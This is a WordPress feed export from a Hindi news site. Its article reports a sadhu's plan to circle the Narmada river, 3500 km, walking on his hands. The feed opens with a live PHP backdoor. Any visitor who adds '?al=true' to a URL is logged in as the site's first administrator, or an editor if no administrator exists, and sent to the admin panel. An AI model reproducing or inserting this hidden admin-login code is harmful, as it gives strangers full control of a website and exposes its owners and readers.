// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Dharmaraj Puri Maharaj’s – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sun, 12 Oct 2025 17:20:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 हाथ से 3500 KM! धर्मराज पुरी महाराज की नर्मदा परिक्रमा का अद्भुत संकल्प https://pratyushaashakinayikiran.com/?p=185159 Sun, 12 Oct 2025 17:20:00 +0000 https://pratyushaashakinayikiran.com/?p=185159 डिंडौरी 
मां नर्मदा की असाधारण परिक्रमा धर्मपुरी महाराज ने अमरकंटक से दशहरा पर्व के दिन से शुरू की है। धर्मपुरी महाराज की परिक्रमा इसलिए असाधारण है क्योंकि सभी लोग पैर से चलकर मां नर्मदा की परिक्रमा करते हैं, जबकि धर्मपुरी महाराज हाथों के बल से चलकर 3500 किलोमीटर की परिक्रमा करने का संकल्प लिया है। मां नर्मदा के यूं तो भक्त निराले हैं। अलग-अलग तरीके से कठिन साधना करने के मामले पहले भी सामने आते रहे हैं, लेकिन ऊबड खाबड भरे मार्ग में इस तरह की साधना चर्चा की विषय बनी हुई है।

बताया गया कि यह कठिन परिक्रमा लगभग चार वर्ष में पूरी होगी। महाराज जी अभी तक लगभग 30 किलोमीटर से अधिक की यात्रा कर चुके हैं। वे एक दिन में लगभग तीन किलोमीटर की परिक्रमा कर रहे हैं। उनके साथ उनके शिष्य भी परिक्रमा में साथ चल रहे हैं। डिंडौरी जिले के करंजिया विकासखंड निवासी में महाराजश्री ने हाथ के सहारे परिक्रमा शुरू कर दी है।
 
परिक्रमा को बताया तपस्या के साथ समर्पण
गौरतलब है कि मां नर्मदा की हजारों लोग पैदल परिक्रमा करते हैं, तो कुछ दंडवत होकर भी इस कठिन यात्रा को पूरा करते हैं। कुछ लोग वाहनों से भी परिक्रमा करते हैं, लेकिन धरमपुरी महाराज हाथों के बल चलकर मां नर्मदा की परिक्रमा करने के बड़े संकल्प में जुटे हुए हैं। आस्था का ऐसा अद्भुत और दुर्लभ नजारा शायद ही लोगों ने कभी देखा होगा। धर्मपुरी महाराज ने अपना यह संकल्प अमरकंटक से शुरू किया है। उन्होंने बताया कि यह सिर्फ एक यात्रा नहीं, बल्कि तपस्या के साथ समर्पण भी है।

अदभुत परिक्रमा देखकर लोग भी हैरत में
उन्होंने बताया कि वे अपने शरीर की सीमाओं को पार कर अध्यात्म के शिखर पर पहुंचने का प्रयास कर रहे हैं। उनकी अदभुत परिक्रमा देखकर लोग भी हैरत में हैं। स्थानीय लोगों ने बताया कि अपने जीवनकाल में उन्होंने कई संत देखे हैं, लेकिन इस तरह की परिक्रमा का संकल्प करके परिक्रमा पथ पर हाथों के बल चलते पहली बार किसी संत को देखा है। गौरतलब है कि डिंडौरी से अमरकंटक मुख्य मार्ग में टू-लेन सडक का कार्य चल रहा है। ऐसे में ऊबड खाबड़ मार्ग से गुजरना सभी के लिए चुनौती बनी हुई है।

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